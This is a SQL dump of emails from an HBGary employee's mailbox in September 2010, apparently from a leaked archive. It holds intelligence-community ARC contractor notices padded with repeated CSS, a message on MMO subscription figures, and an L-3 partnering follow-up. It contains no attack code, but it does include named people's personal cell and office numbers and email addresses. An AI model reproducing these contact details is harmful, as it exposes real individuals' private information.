website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Unclassified Internet (World Wide Web) ARC accessible  via https://arc.westfields.net/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Unclassified Internet (World Wide Web), and I Have an Account on that system\'s ARC website.\r\nOn the Internet go to https://arc.westfields.net/, log in using your Internet ARC username and password, click on Current Efforts, and select IARPA - N/A /Rose from the Open Source Listing.\r\n\r\nI Have Access to the Unclassified Internet (World Wide Web), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Internet ARC, go to https://arc.westfields.net/, click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Internet ARC for any purpose.\r\n\r\nI Have Access to the Unclassified Internet (World Wide Web) ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Internet ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Internet email address has changed since your last login, please email (preferred) the web development team at dev@ticom.com or call 703-449-8010 for help in resetting your password.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',6951,'aaron_hbgary_com/6951.html'),(11139,'2010-09-01','arc@westfields.net','/aaron@hbgary.com/new/1297008514.M837326P14101Q5994.eml','federal@hbgary.com','CAPRICA Announcement Posting','\r\nAn announcement has been posted on the NRO-CAPRICA effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select CAPRICA from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',7635,'aaron_hbgary_com/7635.html'),(11140,'2010-09-01','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008515.M274193P14101Q5996.eml','\"Charles Copeland\" <chark@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Martin Pillion\" <martin@hbgary.com>','MMO subscription numbers',' \r\nFellas,\r\nI took the time to round up some MMO game subscription numbers.  The stats don&#39;t look good for most.  The franchise based games probably cost upper double digit millions to develop (conan, lotro, warhammer, etc), so with 200-300k subscribers have got to be a big disappointment - probably still in the red.  The indie games, like vanguard and darkfall, are pretty much complete failures.  Lotro just went F2P.  The only indie game in this list that is a success is Eve Online (cost almost nothing to make, and still holds 330,000 subscribers - so its highly profitable).\r\n\r\n \r\nThese are some pretty scary stats.  It makes me think that attempting for even 250,000 subscribers is way too agressive - and that I should be looking at getting about 10-20K subscribers in reality, and figure out some dismal profit model against that number...\r\n\r\n \r\nthat data:\r\n \r\ndarkfall - less than 10,000 players left- reason: game was never finished, high misset expectations before release\r\n \r\nage of conan: 150,000 players- reason: buggy release, steep hw req, horrible launch.- Note: some recent player return after latest expansionNotes:After the first month of retail sales of appx 700,000 boxed copies:\r\n* ~40% are still sitting on retailer shelves* ~30% were bought and returned due to insufficient system reqs* ~20% were bought and installed but canceled without subscribing* ~10% were bought and set up a subscription to continue playing\r\n\r\n \r\nworld of warcraft: 11 million- reason: game was polished before release, easy to play, highly addictive, end game and PVPNote: everyone keeps trying to replicate this and failing\r\n \r\nguildwars: 5 million- reason: polished, no subscription feeNote: no recurring revenue model\r\n \r\nwarhammer: less than 300,000, probably way less- reason: its a WoW clone, more of the same\r\n \r\nwarhammer40K: aiming for less than 1 million subscribers, not released yet\r\n \r\nvanguard: probably less than 10,000 (300 guilds active, server merge)- reason: buggy release, steep hardware req., horrible launchNote: only survived this long because Sony has it on life support\r\n \r\nsecond life: 90,000- reason: not really a game...\r\n \r\neve online: 330,000 subscribers- reason: unique game, polished, low system req, caters to hardcore players\r\n \r\ncity of heros/city of villains: over 150,000\r\n \r\nlord of the rings online: 200,000 or so, recently went free 2 play and got another 200k\r\nSome older stats can be found here, mostly out of date:http://www.mmogchart.com/http://mmogdata.voig.com/\r\n \r\n',1095,'aaron_hbgary_com/1095.html');
INSERT INTO `emails` VALUES (11141,'2010-09-01','arc@westfields.net','/aaron@hbgary.com/new/1297008515.M38830P14101Q5995.eml','federal@hbgary.com','ARC Daily Activity Summary','\r\nThis is a daily email notice containing a summary of the active efforts that have had some activity since Tuesday, 08/31/2010 08:00 AM. Activity is described as one or more documents and/or an announcement being posted to the effort website.\r\n\r\n\r\nUnclassified ARC Efforts\r\n\r\nIARPA/N/A-Rose (Announcement & Document Posting)\r\n\r\n\r\n\r\nCWAN ARC Efforts\r\n\r\nNRO-CAPRICA (Announcement & Document Posting)\r\n\r\nNRO/SE-Graystone (Document Posting)\r\n\r\n\r\n\r\nUnclassified efforts can be viewed on the Internet ARC at https://arc.westfields.net/ Classified efforts can be viewed on the CWAN ARC at http://arc.npa.gov/\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',2460,'aaron_hbgary_com/2460.html'),(11142,'2010-09-01','stephen.korns@l-3com.com','/aaron@hbgary.com/new/1297008515.M629168P14101Q5997.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','HB>gary - Follow up to our discussion','Aaron - really appreciated the opportunity learn more about HB>Gary.  I have very positive view about your capabilities, and opportunities for partnering etc...\r\nI would think further meeting with Alex focused on NSA and CYBERCOM might be a good next step.\r\n\r\nThoughts?  \r\n\r\n\r\n\r\nRegards,\r\n\r\nSteve\r\n\r\nSteve Korns\r\nDirector of Cyber Solutions\r\nIntelligence Solutions Business Unit\r\nL-3 STRATIS \"Powered by Excellence\"\r\n301.575.3673 (Office at Annapolis Junction, MD)\r\n703.434.4558 (Office at Reston, VA)\r\n240.472.0509 (Cell)\r\nstephen.korns@l3com-com\r\n\r\n\r\n\r\nThis electronic message, including its attachments, is COMPANY CONFIDENTIAL and may contain PROPRIETARY or LEGALLY PRIVILEGED information.  If you are not the intended recipient, you are hereby notified that any use, disclosure, copying, or distribution of this message or any of the information included in it is unauthorized and strictly prohibited.  If you have received this message in error, please immediately notify the sender by reply e-mail and permanently delete this message and its attachments, along with any copies thereof.\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, August 31, 2010 4:01 PM\r\nTo: Gertler, David @ STRATIS; Korns, Stephen @ STRATIS; DeFreitas, John @ STRATIS\r\nCc: Miller, Alexander A @ STRATIS\r\nSubject: Follow up to our discussion\r\n\r\nGentlemen,\r\n\r\nThank you for meeting with me today and for the good discussion around\r\ncyber.  Please let me know what areas of our discussion are of most\r\ninterest for follow up and we can set up the necessary demos or\r\ntechnical discussions.\r\n\r\nFor refresher:\r\nFocus areas: threat intelligence, incident response, IO/CNO\r\n\r\nPartnerships: Fidelis, End Games, Palantir, Mcafee, Guidance, Verdasys\r\nTechnologies: forensics, malware analysis, enterprise advanced\r\ndetection, volume malware processing, threat intelligence\r\nServices: incident response, malware analysis, social media pen\r\ntesting, IO/CNO, SOC\r\nTraining: malware analysis, social media\r\n\r\nOn a side note we have a lot of interest and capability in different\r\naspects of social media, game technology, and location based services\r\nthat might be of interest.\r\n\r\nRespectfully,\r\nAaron\r\n\r\nSent from my iPad\r\n',861,'aaron_hbgary_com/861.html'),(11143,'2010-09-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008515.M868767P14101Q5998.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Fwd: HB>gary - Follow up to our discussion','FYI...Begin forwarded message:From: stephen.korns@l-3com.comDate: September 1, 2010 10:04:14 AM EDTTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Cc: \"Korns, Stephen @ STRATIS\" &lt;stephen.korns@l-3com.com&gt;Subject: HB&gt;gary - Follow up to our discussionAaron - really appreciated the opportunity learn more about HB&gt;Gary. &nbsp;I have very positive view about your capabilities, and opportunities for partnering etc...I would think further meeting with Alex focused on NSA and CYBERCOM might be a good next step.Thoughts? &nbsp;Regards,SteveSteve KornsDirector of Cyber SolutionsIntelligence Solutions Business UnitL-3 STRATIS \"Powered by Excellence\"301.575.3673 (Office at Annapolis Junction, MD)703.434.4558 (Office at Reston, VA)240.472.0509 (Cell)stephen.korns@l3com-comThis electronic message, including its attachments, is COMPANY CONFIDENTIAL and may contain PROPRIETARY or LEGALLY PRIVILEGED information.&nbsp; If you are not the intended recipient, you are hereby notified that any use, disclosure, copying, or distribution of this message or any of the information included in it is unauthorized and strictly prohibited.&nbsp; If you have received this message in error, please immediately notify the sender by reply e-mail and permanently delete this message and its 